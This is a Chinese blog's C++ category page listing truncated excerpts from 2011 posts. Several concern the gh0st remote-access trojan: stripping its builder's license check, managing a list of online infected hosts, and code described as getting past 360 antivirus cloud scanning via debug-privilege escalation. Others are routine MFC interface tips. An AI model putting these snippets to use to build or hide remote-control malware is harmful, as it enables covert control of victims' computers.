随笔分类 -  C++

摘要:详解gh0st源码中去验证(去除逻辑炸弹) 去验证: BuildView.cpp // 以下是原程序效验代码 全部注释掉 即可 // char strVer[10]; /* char strTitle[10]; strVer[0] = ’C’; strVer[1] = ’.’; strVer[2] = ’R’; strVer[3] = ’u’; strVer[4] = ’f’; strVer[5] = ’u’; strVer[6] = ’s’; strVer[7] = ’ ’; strVer[8] = ’S’; strVer[9] = ’\0’; strTitle[0] = ’G’; strT 阅读全文
posted @ 2011-06-17 11:51 星星的学习小志 阅读(2386) 评论(0) 推荐(0) 编辑
摘要:1、控件随窗口大小而自动缩放void CDVRDlg::OnSize(UINT nType, int cx, int cy) {RECT rcClient; if (GetDlgItem(IDC_STATIC_aa)) { GetClientRect(&rcClient); rcClient.left+=10; rcClient.right-=10; rcClient.top+=10; rcClient.bottom-=10; GetDlgItem(IDC_STATIC_aa)->MoveWindow(&rcClient); }}2、CButtonSTShort shBt 阅读全文
posted @ 2011-06-08 10:18 星星的学习小志 阅读(869) 评论(0) 推荐(0) 编辑
摘要:View Code 1 nCnt = m_serverlist.GetItemCount(); //获得当前在线的主机数量 2 nItem=m_serverlist.InsertItem(nCnt,(_bstr_t)ip,0); //nItem=新增加的记录,nItem值由自动排序生成,所以数值不会顺序生成 3 4 if(nCnt>1) //最后一项要大于1 5 { 6 --nCnt; 7 int i2=1; 8 //for(Tmpi=nItem;Tmpi<++nItem;Tmpi++ ) 9 //{//nItem值是随机的,主机上线会自动按IP地址对nItem进行排序10 //先 阅读全文
posted @ 2011-06-07 11:22 星星的学习小志 阅读(433) 评论(0) 推荐(1) 编辑
摘要:BOOL ProcessExit(LPCTSTR szProcName){ __asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP;__asm NOP; PROCESSENTRY32 pe; DWORD dwRet; BOOL bFound = FALSE; HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSP) { pe.dwSize = sizeof( pe ); for (dwRet = Process32First(hSP, &p 阅读全文
posted @ 2011-06-05 18:52 星星的学习小志 阅读(416) 评论(1) 推荐(0) 编辑
摘要:/*————————————————————————————————*///过360云查杀的代码void RaiseToDebugP(){HANDLE hToken;HANDLE hProcess = GetCurrentProcess();if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ){ TOKEN_PRIVILEGES tkp; if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0]. 阅读全文
posted @ 2011-05-31 22:17 星星的学习小志 阅读(469) 评论(0) 推荐(0) 编辑

点击右上角即可分享
微信分享提示